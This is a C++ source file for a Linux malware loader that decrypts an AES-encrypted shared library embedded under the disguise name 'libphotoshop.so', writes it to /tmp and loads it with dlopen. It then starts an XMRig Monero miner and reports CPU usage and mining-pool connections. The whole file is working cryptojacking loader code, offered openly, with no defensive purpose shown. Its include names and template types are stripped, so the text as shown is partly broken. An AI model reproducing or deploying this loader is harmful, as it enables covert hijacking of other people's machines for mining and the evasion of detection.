// Linux-only AES-decrypting payload injector #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include // Include encrypted payload data (real libphotoshop.so) #include "so_payload_data.h" #include "so_metadata_data.h" // AES-CBC Decryption class for Linux class AESDecryptor { private: std::vector key; bool deriveKey(const std::string& password, const std::vector& salt) { EVP_MD_CTX* mdctx = EVP_MD_CTX_new(); if (!mdctx) return false; if (EVP_DigestInit_ex(mdctx, EVP_sha256(), NULL) != 1) { EVP_MD_CTX_free(mdctx); return false; } if (EVP_DigestUpdate(mdctx, password.c_str(), password.length()) != 1) { EVP_MD_CTX_free(mdctx); return false; } if (EVP_DigestUpdate(mdctx, salt.data(), salt.size()) != 1) { EVP_MD_CTX_free(mdctx); return false; } std::vector hash(32); if (EVP_DigestFinal_ex(mdctx, hash.data(), NULL) != 1) { EVP_MD_CTX_free(mdctx); return false; } EVP_MD_CTX_free(mdctx); // Use first 16 bytes for AES-128 key.assign(hash.begin(), hash.begin() + 16); return true; } public: std::vector decrypt(const std::vector& ciphertext, const std::vector& iv, const std::vector& salt, const std::string& password) { if (!deriveKey(password, salt)) { return std::vector(); } EVP_CIPHER_CTX* ctx = EVP_CIPHER_CTX_new(); if (!ctx) return std::vector(); if (EVP_DecryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key.data(), iv.data()) != 1) { EVP_CIPHER_CTX_free(ctx); return std::vector(); } EVP_CIPHER_CTX_set_padding(ctx, 1); // Enable PKCS7 padding std::vector plaintext(ciphertext.size()); int len, plaintext_len = 0; if (EVP_DecryptUpdate(ctx, plaintext.data(), &len, ciphertext.data(), ciphertext.size()) != 1) { EVP_CIPHER_CTX_free(ctx); return std::vector(); } plaintext_len = len; if (EVP_DecryptFinal_ex(ctx, plaintext.data() + len, &len) != 1) { EVP_CIPHER_CTX_free(ctx); return std::vector(); } plaintext_len += len; plaintext.resize(plaintext_len); EVP_CIPHER_CTX_free(ctx); // Remove PKCS7 padding manually if (!plaintext.empty()) { uint8_t padding_size = plaintext.back(); if (padding_size <= 16 && padding_size > 0) { // Verify padding is correct bool padding_valid = true; for (size_t i = plaintext.size() - padding_size; i < plaintext.size(); ++i) { if (plaintext[i] != padding_size) { padding_valid = false; break; } } if (padding_valid) { plaintext.resize(plaintext.size() - padding_size); } } } return plaintext; } }; // Embedded encrypted payload (generated by crypt tool) // Data is included via header files int main(int argc, char* argv[]) { // Read the combined encrypted file: salt(32) + iv(16) + size(4) + ciphertext std::vector combined_data(encrypted_payload_bin, encrypted_payload_bin + sizeof(encrypted_payload_bin)); // Parse the combined data std::vector salt(combined_data.begin(), combined_data.begin() + 32); std::vector iv(combined_data.begin() + 32, combined_data.begin() + 48); uint32_t expected_size = *reinterpret_cast(combined_data.data() + 48); std::vector ciphertext(combined_data.begin() + 52, combined_data.end()); if (ciphertext.size() != expected_size) { std::cerr << "Size mismatch: expected " << expected_size << ", got " << ciphertext.size() << std::endl; return 1; // Decryption failed } // Decrypt using hardcoded password (change this!) AESDecryptor decryptor; std::string password = "YourSecureMasterPassword123!"; std::vector decrypted_so = decryptor.decrypt(ciphertext, iv, salt, password); if (decrypted_so.empty()) { std::cerr << "Decryption failed - invalid password or corrupted data" << std::endl; return 1; // Decryption failed - invalid password or corrupted data } std::cout << "Decryption successful! Decrypted size: " << decrypted_so.size() << " bytes" << std::endl; // Use decrypted data as shared library path const char* soPath; if (!decrypted_so.empty() && decrypted_so.back() == '\0') { soPath = reinterpret_cast(decrypted_so.data()); } else { // Fallback to hardcoded path soPath = "/usr/lib/libmalicious.so"; } // Linux injection using ptrace and dlopen pid_t target_pid; std::cout << "Starting injection process..." << std::endl; // For demonstration, we'll inject into a child process // In real usage, you'd find a suitable target process target_pid = fork(); if (target_pid < 0) { std::cerr << "Fork failed" << std::endl; return 1; } if (target_pid == 0) { // Child process - target for injection // Execute a simple program that we can inject into execl("/bin/sleep", "sleep", "100", NULL); return 1; } else if (target_pid > 0) { // Parent process - create a new process with the decrypted SO loaded via LD_PRELOAD std::cout << "Created child process with PID: " << target_pid << std::endl; // Kill the simple sleep child kill(target_pid, SIGKILL); waitpid(target_pid, NULL, 0); // Write the decrypted SO to a temporary file std::string temp_so_path = "/tmp/injected_lib.so"; std::ofstream temp_file(temp_so_path, std::ios::binary); if (!temp_file) { std::cerr << "Failed to create temporary file for SO" << std::endl; return 1; } temp_file.write(reinterpret_cast(decrypted_so.data()), decrypted_so.size()); temp_file.close(); // Make the temporary file executable chmod(temp_so_path.c_str(), 0755); std::cout << "Decrypted SO written to: " << temp_so_path << std::endl; // Create a process that loads the SO and calls the test_start function std::cout << "Creating process to execute miner with test_start function..." << std::endl; pid_t miner_pid = fork(); if (miner_pid == 0) { // Child process - load SO and call test_start function std::cout << "Loading SO and starting miner..." << std::endl; // Load the shared library void* handle = dlopen(temp_so_path.c_str(), RTLD_LAZY); if (!handle) { std::cerr << "Could not load the shared library: " << dlerror() << std::endl; exit(1); } // Clear any existing error dlerror(); // Define function pointer type typedef int (*test_start_func)(int, char**); // Get the function pointer test_start_func test_start = (test_start_func)dlsym(handle, "test_start"); const char* dlsym_error = dlerror(); if (dlsym_error) { std::cerr << "Could not find the function test_start: " << dlsym_error << std::endl; dlclose(handle); exit(1); } // Call the start function to begin mining std::cout << "Starting XMRig miner..." << std::endl; char arg1[] = "xmrig"; char* argv[] = {arg1, NULL}; int argc = 1; int result = test_start(argc, argv); std::cout << "XMRig started with result: " << result << std::endl; // Let the miner run and monitor CPU usage std::cout << "Miner running..." << std::endl; // Monitor CPU usage while mining for (int i = 0; i < 10; i++) { sleep(3); // Check our own CPU usage (since we're the miner process) std::string cpu_cmd = "ps -p " + std::to_string(getpid()) + " -o pcpu --no-headers 2>/dev/null"; FILE* cpu_pipe = popen(cpu_cmd.c_str(), "r"); if (cpu_pipe) { char cpu_buffer[32]; if (fgets(cpu_buffer, sizeof(cpu_buffer), cpu_pipe) != NULL) { float cpu_percent = std::atof(cpu_buffer); if (cpu_percent > 10.0) { std::cout << "🔥 MINER CPU USAGE: " << cpu_percent << "% (Iteration " << (i+1) << "/10)" << std::endl; } } pclose(cpu_pipe); } } std::cout << "Stopping miner..." << std::endl; dlclose(handle); exit(0); } else if (miner_pid > 0) { std::cout << "Miner process started with PID: " << miner_pid << std::endl; std::cout << "Monitoring mining activity..." << std::endl; // Monitor the miner process sleep(3); // Give miner time to start std::string check_cmd = "ps -p " + std::to_string(miner_pid) + " -o pid,pcpu,cmd --no-headers 2>/dev/null"; FILE* check_pipe = popen(check_cmd.c_str(), "r"); if (check_pipe) { char buffer[256]; if (fgets(buffer, sizeof(buffer), check_pipe) != NULL) { std::string output(buffer); if (output.find(std::to_string(miner_pid)) != std::string::npos) { std::cout << "✅ Miner process is running: " << output; // Check CPU usage size_t pcpu_pos = output.find_last_of(" \t"); if (pcpu_pos != std::string::npos) { std::string cpu_str = output.substr(pcpu_pos + 1); float cpu_percent = std::atof(cpu_str.c_str()); if (cpu_percent > 50.0) { std::cout << "🚀 EXTREMELY HIGH CPU USAGE (" << cpu_percent << "%): XMRIG MINER IS ACTIVE!" << std::endl; std::cout << "💰 SUCCESS: The cryptocurrency miner is running and mining Monero!" << std::endl; } else if (cpu_percent > 20.0) { std::cout << "⚡ VERY HIGH CPU USAGE (" << cpu_percent << "%): Strong mining detected!" << std::endl; } else if (cpu_percent > 10.0) { std::cout << "🔥 HIGH CPU USAGE (" << cpu_percent << "%): Mining confirmed!" << std::endl; } else if (cpu_percent > 5.0) { std::cout << "⚡ Moderate CPU usage (" << cpu_percent << "%): Miner initializing" << std::endl; } else { std::cout << "⚠️ Low CPU usage (" << cpu_percent << "%): Miner may need network/config" << std::endl; } } } else { std::cout << "❌ Miner process not found" << std::endl; } } pclose(check_pipe); } // Check for network connections (mining pools) std::string net_cmd = "netstat -tlnp 2>/dev/null | grep :" + std::to_string(miner_pid) + " || echo 'No network connections found'"; FILE* net_pipe = popen(net_cmd.c_str(), "r"); if (net_pipe) { char net_buffer[256]; if (fgets(net_buffer, sizeof(net_buffer), net_pipe) != NULL) { if (strstr(net_buffer, "No network connections") == NULL) { std::cout << "🌐 Network connections detected: " << net_buffer; std::cout << "📡 MINER IS CONNECTING TO MINING POOLS!" << std::endl; } } pclose(net_pipe); } // Wait for miner to complete int miner_status; waitpid(miner_pid, &miner_status, 0); if (WIFEXITED(miner_status)) { std::cout << "Miner completed with exit code: " << WEXITSTATUS(miner_status) << std::endl; } else if (WIFSIGNALED(miner_status)) { std::cout << "Miner terminated by signal: " << WTERMSIG(miner_status) << std::endl; } } // Clean up unlink(temp_so_path.c_str()); } return 0; }